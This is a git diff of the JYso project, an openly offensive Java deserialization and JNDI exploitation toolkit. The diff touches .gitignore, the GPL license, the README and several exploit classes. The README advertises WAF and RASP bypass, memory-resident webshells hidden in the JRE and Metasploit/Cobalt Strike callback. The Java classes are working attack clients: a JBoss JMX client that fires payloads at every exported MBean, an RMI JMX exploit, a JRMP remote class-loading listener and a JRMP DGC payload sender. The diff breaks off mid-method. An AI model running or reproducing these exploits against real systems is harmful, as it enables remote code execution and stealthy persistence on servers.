diff --git a/.gitignore b/.gitignore
index a605c62..4939178 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,6 +1,6 @@
-.idea/
-.gradle/
-out/
-.DS_Store
-/build
+.idea/
+.gradle/
+out/
+.DS_Store
+/build
1.ser
\ No newline at end of file
diff --git a/LICENSE.txt b/LICENSE.txt
index 30ace6a..bb4435f 100644
--- a/LICENSE.txt
+++ b/LICENSE.txt
@@ -1,674 +1,674 @@
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-The hypothetical commands `show w' and `show c' should show the appropriate
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-For more information on this, and how to apply and follow the GNU GPL, see
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+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+ {one line to give the program's name and a brief idea of what it does.}
+ Copyright (C) {year} {name of author}
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ {project} Copyright (C) {year} {fullname}
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
.
\ No newline at end of file
diff --git a/README.en.md b/README.en.md
index 4e4bec4..cdb6c39 100644
--- a/README.en.md
+++ b/README.en.md
@@ -1,87 +1,87 @@
-
-
-
-
JYso
-
-
-
-
-
-
-
It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP
-
-## 🚀 Getting Started Guide
-
-📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
-
-🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
-
-✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
-
-## 👍 Features
-
-+ JNDI account password startup
-+ JNDI route hiding or encryption
-+ JNDI high version Bypass
-+ Customize the path, password, HTTP header and value of the memory horse
-+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
-+ Memory horse writes JRE or environment variables to hide
-+ Serialized data plus dirty data
-+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
-+ TemplatesImpl _bytecodes feature eliminated and size reduced
-+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
-+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
-+ Dynamically generate obfuscated class names
-+ MSF/CS online
-+ Code execution through JDBC
-
-If you have other great ideas, please let me know! 😎
-
-## 🐯 Compile
-
-Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
-
-```shell
-./gradlew shadowJar
-```
-
-## 🌲Directory structure
-
-For more information, please refer to [Directory structure description](docs/directory_structure.md).
-
-## ✨ CTStack
-
-
-
-JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
-
-## ✨ 404Starlink
-
-
-
-JYso has joined [404Starlink](https://github.com/knownsec/404StarLink)
-
-1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
-
-## 📷 Acknowledgements
-
-- https://github.com/veracode-research/rogue-jndi
-- https://github.com/welk1n/JNDI-Injection-Exploit
-- https://github.com/welk1n/JNDI-Injection-Bypass
-- https://github.com/WhiteHSBG/JNDIExploit
-- https://github.com/su18/ysoserial
-- https://github.com/rebeyond/Behinder
-- https://github.com/Whoopsunix/utf-8-overlong-encoding
-- https://github.com/mbechler/marshalsec
-- https://t.zsxq.com/17LkqCzk8
-- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
-- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
-- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
-- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
-- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
-- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
-- https://tttang.com/archive/1405/#toc_groovyclassloader
-- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
-- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
-- https://tttang.com/archive/1405/#toc_druid
-
+
+
+
+
JYso
+
+
+
+
+
+
+
It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP
+
+## 🚀 Getting Started Guide
+
+📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
+
+🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
+
+✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
+
+## 👍 Features
+
++ JNDI account password startup
++ JNDI route hiding or encryption
++ JNDI high version Bypass
++ Customize the path, password, HTTP header and value of the memory horse
++ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
++ Memory horse writes JRE or environment variables to hide
++ Serialized data plus dirty data
++ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
++ TemplatesImpl _bytecodes feature eliminated and size reduced
++ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
++ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
++ Dynamically generate obfuscated class names
++ MSF/CS online
++ Code execution through JDBC
+
+If you have other great ideas, please let me know! 😎
+
+## 🐯 Compile
+
+Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
+
+```shell
+./gradlew shadowJar
+```
+
+## 🌲Directory structure
+
+For more information, please refer to [Directory structure description](docs/directory_structure.md).
+
+## ✨ CTStack
+
+
+
+JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
+
+## ✨ 404Starlink
+
+
+
+JYso has joined [404Starlink](https://github.com/knownsec/404StarLink)
+
+1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
+
+## 📷 Acknowledgements
+
+- https://github.com/veracode-research/rogue-jndi
+- https://github.com/welk1n/JNDI-Injection-Exploit
+- https://github.com/welk1n/JNDI-Injection-Bypass
+- https://github.com/WhiteHSBG/JNDIExploit
+- https://github.com/su18/ysoserial
+- https://github.com/rebeyond/Behinder
+- https://github.com/Whoopsunix/utf-8-overlong-encoding
+- https://github.com/mbechler/marshalsec
+- https://t.zsxq.com/17LkqCzk8
+- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
+- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
+- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
+- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
+- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
+- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
+- https://tttang.com/archive/1405/#toc_groovyclassloader
+- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
+- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
+- https://tttang.com/archive/1405/#toc_druid
+
diff --git a/README.md b/README.md
index 99aa504..b1adc07 100644
--- a/README.md
+++ b/README.md
@@ -1,89 +1,89 @@
-
- * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
- *
- * This is not as readily exploitable as in other pieces of software:
- * 1. they only allow authenticated access by default
- * 2. they have a very strict module architecture:
- * - all MBeans exported by default use classloaders that expose almost nothing useful
- * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
- * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
- *
- * This client enumerates all application exported MBean method which are then called
- * delivering the specified payload.
- *
+ * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
+ *
+ * This is not as readily exploitable as in other pieces of software:
+ * 1. they only allow authenticated access by default
+ * 2. they have a very strict module architecture:
+ * - all MBeans exported by default use classloaders that expose almost nothing useful
+ * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
+ * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
+ *
+ * This client enumerates all application exported MBean method which are then called
+ * delivering the specified payload.
+ *
+ * I.e. you can successfully exploit that
+ * - you have access to the interface
+ * (username/password can be specified via URL, note: despite not noticeable,
+ * local connections implicitly use authentication)
+ * - there is an application exported MBean
+ * - that application imports the classes required for the gadget chain
+ *
+ * @author mbechler
+ */
+@SuppressWarnings({
+ "rawtypes"
+})
+public class JBoss {
+
+ public static void main(String[] args) throws Exception {
+
+ if (args.length < 5) {
+ System.err.println("Usage " + JBoss.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ URI u = URI.create(args[0]);
+
+ // 去除前一个参数
+ String[] newArray = new String[args.length - 1];
+ System.arraycopy(args, 1, newArray, 0, newArray.length);
+
+ ysoserial.run(newArray);
+ Object payloadObject = ysoserial.PAYLOAD;
+
+ String username = null;
+ String password = null;
+ if (u.getUserInfo() != null) {
+ int sep = u.getUserInfo().indexOf(':');
+ if (sep >= 0) {
+ username = u.getUserInfo().substring(0, sep);
+ password = u.getUserInfo().substring(sep + 1);
+ } else {
+ System.err.println("Need :@");
+ System.exit(-1);
+ }
+ }
+
+ doRun(u, payloadObject, username, password);
+ }
+
+
+ private static void doRun(URI u, final Object payloadObject, String username, String password) {
+ ConnectionProvider instance = null;
+ ConnectionProviderContextImpl context = null;
+ ConnectionHandler ch = null;
+ Channel c = null;
+ VersionedConnection vc = null;
+ try {
+ Logger logger = LogManager.getLogManager().getLogger("");
+ logger.addHandler(new ConsoleLogHandler());
+ logger.setLevel(Level.INFO);
+ OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
+ context = new ConnectionProviderContextImpl(options, "endpoint");
+ instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
+ String host = u.getHost();
+ int port = u.getPort() > 0 ? u.getPort() : 9990;
+ SocketAddress destination = new InetSocketAddress(host, port);
+ ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
+ ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
+ c = getChannel(context, ch, options);
+ System.err.println("Connected");
+ vc = makeVersionedConnection(c);
+ MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
+ doExploit(payloadObject, mbc);
+ System.err.println("DONE");
+ } catch (Throwable e) {
+ e.printStackTrace(System.err);
+ } finally {
+ cleanup(instance, context, ch, c, vc);
+ }
+ }
+
+
+ private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
+ VersionedConnection vc) {
+ if (vc != null) {
+ vc.close();
+ }
+
+ if (c != null) {
+ try {
+ c.close();
+ } catch (IOException e) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ if (ch != null) {
+ try {
+ ch.close();
+ } catch (IOException e) {
+ e.printStackTrace(System.err);
+ }
+ }
+ if (instance != null) {
+ try {
+ instance.close();
+ } catch (IOException e) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ if (context != null) {
+ context.getXnioWorker().shutdown();
+ }
+ }
+
+
+ private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
+ ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
+ throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
+ XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
+ FutureResult result = new FutureResult<>();
+ instance.connect(null, destination, options, result, callbacks -> {
+
+ for (Callback cb : callbacks) {
+
+ if (cb instanceof NameCallback) {
+ ((NameCallback) cb).setName(username);
+ } else if (cb instanceof PasswordCallback) {
+ ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
+ } else if (!(cb instanceof RealmCallback)) {
+ System.err.println(cb);
+ throw new UnsupportedCallbackException(cb);
+ }
+ }
+ }, xnioSsl);
+
+ System.err.println("waiting for connection");
+ IoFuture ioFuture = result.getIoFuture();
+ Status s = ioFuture.await(5, TimeUnit.SECONDS);
+ if (s == Status.FAILED) {
+ System.err.println("Cannot connect");
+ if (ioFuture.getException() != null) {
+ ioFuture.getException().printStackTrace(System.err);
+ }
+ } else if (s != Status.DONE) {
+ ioFuture.cancel();
+ System.err.println("Connect timeout");
+ System.exit(-1);
+ }
+
+ return ioFuture.getInterruptibly();
+ }
+
+ private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
+ Channel c;
+ FutureResult chResult = new FutureResult<>(context.getExecutor());
+ ch.open("jmx", chResult, options);
+
+ IoFuture cFuture = chResult.getIoFuture();
+ Status s2 = cFuture.await();
+ if (s2 == Status.FAILED) {
+ System.err.println("Cannot connect");
+ if (cFuture.getException() != null) {
+ throw new IOException("Connect failed", cFuture.getException());
+ }
+ } else if (s2 != Status.DONE) {
+ cFuture.cancel();
+ throw new IOException("Connect timeout");
+ }
+
+ c = cFuture.get();
+ return c;
+ }
+
+
+ private static VersionedConnection makeVersionedConnection(Channel c)
+ throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
+ VersionedConnection vc;
+ Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
+ Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
+ Reflections.setAccessible(vcCreate);
+ vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
+ return vc;
+ }
+
+
+ private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
+ throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
+ Object[] params = new Object[1];
+ params[0] = payloadObject;
+ System.err.println("Querying MBeans");
+ Set testMBeans = mbc.queryMBeans(null, null);
+ System.err.println("Found " + testMBeans.size() + " MBeans");
+ for (ObjectInstance oi : testMBeans) {
+ MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
+ for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
+ try {
+ mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
+ System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
+ return;
+ } catch (Throwable e) {
+ String msg = e.getMessage();
+ if (msg.startsWith("java.lang.ClassNotFoundException:")) {
+ int start = msg.indexOf('"');
+ int stop = msg.indexOf('"', start + 1);
+ String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "";
+ if (!"".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
+ int c_start = msg.indexOf(':');
+ int c_end = msg.indexOf(' ', c_start + 2);
+ String cls = msg.substring(c_start + 2, c_end);
+ System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")");
+ }
+ } else {
+ System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
+ return;
+ }
+ }
+ }
+ }
+ }
+
+
+ private static final class ConsoleLogHandler extends Handler {
+
+
+ @Override
+ public void publish(LogRecord record) {
+ System.err.println(record.getMessage());
+ }
+
+
+ @Override
+ public void flush() {
+
+ }
+
+
+ @Override
+ public void close() throws SecurityException {
+ }
+ }
+
+ private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
+
+ private final ConnectionProviderContextImpl context;
+
+
+ public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
+ this.context = context;
+ }
+
+
+ public void remoteClosed() {
+ }
+
+
+ public OpenListener getServiceOpenListener(String serviceType) {
+ return null;
+ }
+
+
+ public RegisteredService getRegisteredService(String serviceType) {
+ return null;
+ }
+
+
+ public ConnectionProviderContext getConnectionProviderContext() {
+ return this.context;
+ }
+
+
+ public Connection getConnection() {
+ return null;
+ }
+ }
+
+
+ private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
+
+ private final XnioWorker worker;
+
+ private final ExecutorService executor;
+
+ private final Xnio instance;
+
+ private final Endpoint endpoint;
+
+
+ public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
+ this.instance = Xnio.getInstance();
+
+ this.worker = this.instance.createWorker(opts);
+ this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
+ this.executor = Executors.newCachedThreadPool(r -> {
+ Thread t = new Thread(r, "Worker");
+ t.setDaemon(true);
+ return t;
+ });
+ }
+
+
+ public XnioWorker getXnioWorker() {
+ return this.worker;
+ }
+
+
+ public Xnio getXnio() {
+ return this.instance;
+ }
+
+
+ public Executor getExecutor() {
+ return this.executor;
+ }
+
+
+ public Endpoint getEndpoint() {
+ return this.endpoint;
+ }
+
+
+ public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
+ System.err.println("accept");
+ }
+
+ }
+
+}
diff --git a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java
index 864ddd0..d8ebedf 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java
@@ -1,43 +1,43 @@
-package com.qi4l.JYso.exploit;
-
-import com.qi4l.JYso.gadgets.Config.ysoserial;
-
-import javax.management.MBeanServerConnection;
-import javax.management.ObjectName;
-import javax.management.remote.JMXConnector;
-import javax.management.remote.JMXConnectorFactory;
-import javax.management.remote.JMXServiceURL;
-
-/**
- * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
- * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
- */
-public class JMXInvokeMBean {
-
- public static void main(String[] args) throws Exception {
-
- if (args.length < 6) {
- System.err.println(JMXInvokeMBean.class.getName() + " ");
- System.exit(-1);
- }
-
- JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
-
- JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
- MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
-
- // 去除前两个参数
- String[] newArray = new String[args.length - 2];
- System.arraycopy(args, 2, newArray, 0, newArray.length);
-
- ysoserial.run(newArray);
- Object payloadObject = ysoserial.PAYLOAD;
-
- ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
-
- mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
-
- //close the connection
- jmxConnector.close();
- }
-}
+package com.qi4l.JYso.exploit;
+
+import com.qi4l.JYso.gadgets.Config.ysoserial;
+
+import javax.management.MBeanServerConnection;
+import javax.management.ObjectName;
+import javax.management.remote.JMXConnector;
+import javax.management.remote.JMXConnectorFactory;
+import javax.management.remote.JMXServiceURL;
+
+/**
+ * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
+ * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
+ */
+public class JMXInvokeMBean {
+
+ public static void main(String[] args) throws Exception {
+
+ if (args.length < 6) {
+ System.err.println(JMXInvokeMBean.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
+
+ JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
+ MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
+
+ // 去除前两个参数
+ String[] newArray = new String[args.length - 2];
+ System.arraycopy(args, 2, newArray, 0, newArray.length);
+
+ ysoserial.run(newArray);
+ Object payloadObject = ysoserial.PAYLOAD;
+
+ ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
+
+ mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
+
+ //close the connection
+ jmxConnector.close();
+ }
+}
diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java
index cad21ae..76940a5 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java
@@ -1,48 +1,48 @@
-package com.qi4l.JYso.exploit;
-
-import com.qi4l.JYso.gadgets.JRMPClient;
-
-import java.net.URL;
-
-
-/**
- * JRMP listener triggering RMI remote classloading
- *
- * Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
- *
- * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
- * access to an RMI socket when you can deliver {@link JRMPClient}.
- *
- * This only works if
- * - the remote end is running with a security manager
- * - java.rmi.server.useCodebaseOnly=false (default until 7u21)
- * - the remote has the proper permissions to remotely load the class (mostly URLPermission)
- *
- * and, of course, the payload class is then run under the security manager with a remote codebase
- * so either the policy needs to allow whatever you want to do in the payload or you need to combine
- * with a security manager bypass exploit (wouldn't be the first time).
- *
- * @author mbechler
- */
-public class JRMPClassLoadingListener {
-
- public static void main(final String[] args) {
-
- if (args.length < 3) {
- System.err.println(JRMPClassLoadingListener.class.getName() + " ");
- System.exit(-1);
- return;
- }
-
- try {
- int port = Integer.parseInt(args[0]);
- System.err.println("* Opening JRMP listener on " + port);
- JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
- c.run();
- } catch (Exception e) {
- System.err.println("Listener error");
- e.printStackTrace(System.err);
- }
- }
-
-}
+package com.qi4l.JYso.exploit;
+
+import com.qi4l.JYso.gadgets.JRMPClient;
+
+import java.net.URL;
+
+
+/**
+ * JRMP listener triggering RMI remote classloading
+ *
+ * Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
+ *
+ * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
+ * access to an RMI socket when you can deliver {@link JRMPClient}.
+ *
+ * This only works if
+ * - the remote end is running with a security manager
+ * - java.rmi.server.useCodebaseOnly=false (default until 7u21)
+ * - the remote has the proper permissions to remotely load the class (mostly URLPermission)
+ *
+ * and, of course, the payload class is then run under the security manager with a remote codebase
+ * so either the policy needs to allow whatever you want to do in the payload or you need to combine
+ * with a security manager bypass exploit (wouldn't be the first time).
+ *
+ * @author mbechler
+ */
+public class JRMPClassLoadingListener {
+
+ public static void main(final String[] args) {
+
+ if (args.length < 3) {
+ System.err.println(JRMPClassLoadingListener.class.getName() + " ");
+ System.exit(-1);
+ return;
+ }
+
+ try {
+ int port = Integer.parseInt(args[0]);
+ System.err.println("* Opening JRMP listener on " + port);
+ JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
+ c.run();
+ } catch (Exception e) {
+ System.err.println("Listener error");
+ e.printStackTrace(System.err);
+ }
+ }
+
+}
diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java
index ae570bd..3a926d0 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java
@@ -1,132 +1,132 @@
-package com.qi4l.JYso.exploit;
-
-import com.qi4l.JYso.gadgets.Config.ysoserial;
-import sun.rmi.transport.TransportConstants;
-
-import javax.net.SocketFactory;
-import java.io.DataOutputStream;
-import java.io.IOException;
-import java.io.ObjectOutputStream;
-import java.io.OutputStream;
-import java.net.*;
-
-/**
- * Generic JRMP client
- *
- * Pretty much the same thing as {@link RMIBindExploit} but
- * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
- * - not deserializing anything (so you don't get yourself exploited ;))
- *
- * @author mbechler
- */
-@SuppressWarnings({
- "restriction"
-})
-public class JRMPClient {
-
- public static void main(final String[] args) throws Exception {
- if (args.length < 5) {
- System.err.println(JRMPClient.class.getName() + " ");
- System.exit(-1);
- }
-
- String hostname = args[0];
- int port = Integer.parseInt(args[1]);
-
- // 去除前两个参数
- String[] newArray = new String[args.length - 2];
- System.arraycopy(args, 2, newArray, 0, newArray.length);
-
- ysoserial.run(newArray);
- Object payloadObject = ysoserial.PAYLOAD;
-
- try {
- System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port);
- makeDGCCall(hostname, port, payloadObject);
- } catch (Exception e) {
- e.printStackTrace(System.err);
- }
- }
-
- public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
- Socket s = null;
- DataOutputStream dos = null;
- try {
- s = SocketFactory.getDefault().createSocket(hostname, port);
- s.setKeepAlive(true);
- s.setTcpNoDelay(true);
